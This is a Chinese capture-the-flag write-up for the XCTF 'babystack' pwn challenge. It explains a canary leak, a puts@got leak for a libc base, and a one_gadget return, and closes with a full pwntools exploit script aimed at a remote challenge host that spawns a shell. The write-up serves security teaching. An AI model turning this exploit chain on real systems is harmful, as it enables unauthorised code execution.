攻防世界 pwn1 题解
下载附件，file命令识别文件为64位，checksec命令查看程序保护情况，如图，有Canary和NX保护。
在ida64中打开程序，程序的主要功能有两个：
- 存储用户输入的字符串内容
- 打印用户输入的字符串内容
特别的注意到，字符串数组大小为136(0x88)，而read运行的最大输入大小为0x100，如图中红色框标注，因此可能存在栈溢出。同时puts可以将输入打出，因此可以想到借此泄露出canary值。
在汇编程序40091C地址处，可以看到canary值保存在rbp上8字节处（即紧邻rbp)。
GCC的canary，x86_64下从fs:0x28偏移处获取，32位下从gs:0x14偏移处获取
解题思路
1.Canary泄露
canary泄露原理：canary最低位设计为\x00，目的为截断字符串。通过缓冲区溢出将canary最低位截断字符\x00覆盖，然后通过puts函数可以将输入的字符串连带剩余的canary数据输出，canary最低字节补\x00即泄露出canary值。
2.栈溢出准备
Canary泄露后就可以进行栈溢出操作。通过one_gadget可以找到execve在动态链接库中的地址。
所以思路是通过puts泄露一个函数(puts)地址，进而找到链接库基址，与上面得到的execve地址相加得到其在程序中的地址。
3.栈溢出构造
得到execve在程序中地址后，就可以构造shellcode，将返回地址替换为execve。
'A'*136 + [Canary] + [fake ebp] + [execve addr]
具体实现
1.Canary获取
sh = remote('***.***.***.***',****)
sh.sendlineafter('>> ','1') # 选择1,存储输入字符串
sh.sendline('A'*0x88)
通过向程序输入0x88字节数据抵达canary上方，最后还有一个字符\n可将canary最低位\x00覆盖，然后使用puts输出。
sh.sendlineafter('>> ','2') # 选择2，输出字符串
sh.recvuntil('A\n')
canary = u64(sh.recv(7).rjust(8,b'\x00')) ## 对canary解析
2.获取execve地址
获取canary后可利用puts函数构造栈溢出shellcode泄露出puts函数在程序中的地址。
利用puts函数输出需要设置一个参数，需要pop rdi的gadget，利用ROPgadget寻找相关gadget。
ROPgadget --binary babystack --only "pop|ret" | grep "rdi"
如图，可以看到在地址0x400a93处有我们想要的gadget：pop rdi ; ret
可通过pwntool中的ELF加载程序，获取puts@got和puts@plt地址。
elf = ELF('./babystack')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
我尝试通过symbols获取main函数地址失败了，但从ida中可以得到，如图，main函数地址为0x400908。
到此，我们可以构造栈溢出shellcode来泄露puts在程序中的地址了：
'A'*0x88 + [Canary] + 'B'*8 + [pop_rdi_addr] + [puts_got_addr] + [puts_plt_addr] + [main_addr]
具体程序代码如下：
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = 0x400908
pop_rdi = 0x400a93
payload = b'A'*0x88 + p64(canary) + b'B'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
sh.sendlineafter('>> ','1')
sh.sendline(payload)
sh.sendlineafter('>> ','3') # 执行退出操作，从而让程序执行我们的指令
real_puts = u64(sh.recv(6).ljust(8,b'\x00')) # 解析puts函数地址
题目提供了链接库，获取puts在程序中地址后，可计算出链接库基址，进而获取我们需要的命令execve的地址。
libc = ELF('./libc-2.23.so')
base = real_puts - libc.symbols['puts']
execve = base + 0x45216 # 0x45216为上面通过one_gadget找到的execve地址
3.获取shell
做好所有准备工作后，就可以构造payload进行溢出了。
payload = b'A'*0x88 + p64(canary) + b'B'*8 + p64(execve)
所有的代码如下：
from pwn import *
elf = ELF('./babystack')
libc = ELF('./libc-2.23.so')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = 0x400908
pop_rdi = 0x400a93
sh = remote('61.147.171.105',62498)
# 泄露canary地址
sh.sendlineafter('>> ','1')
sh.sendline(b'A'*0x88)
sh.sendlineafter('>> ','2')
sh.recvuntil('A\n')
canary = u64(sh.recv(7).rjust(8,b'\x00'))
print(hex(canary))
# 泄露puts函数实际地址
payload = b'A'*0x88 + p64(canary) + b'B'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
sh.sendlineafter('>> ','1')
sh.sendline(payload)
sh.sendlineafter('>> ','3')
real_puts = u64(sh.recv(6).ljust(8,b'\x00'))
print(hex(real_puts))
# 获取execve实际地址
base = real_puts - libc.symbols['puts']
execve = base + 0x45216
# 构造payload溢出获取shell
payload = b'A'*0x88 + p64(canary) + b'B'*8 + p64(execve)
sh.sendlineafter('>> ','1')
sh.sendline(payload)
sh.sendlineafter('>> ','3')
sh.interactive()
执行完后即可获得shell，获得flag。
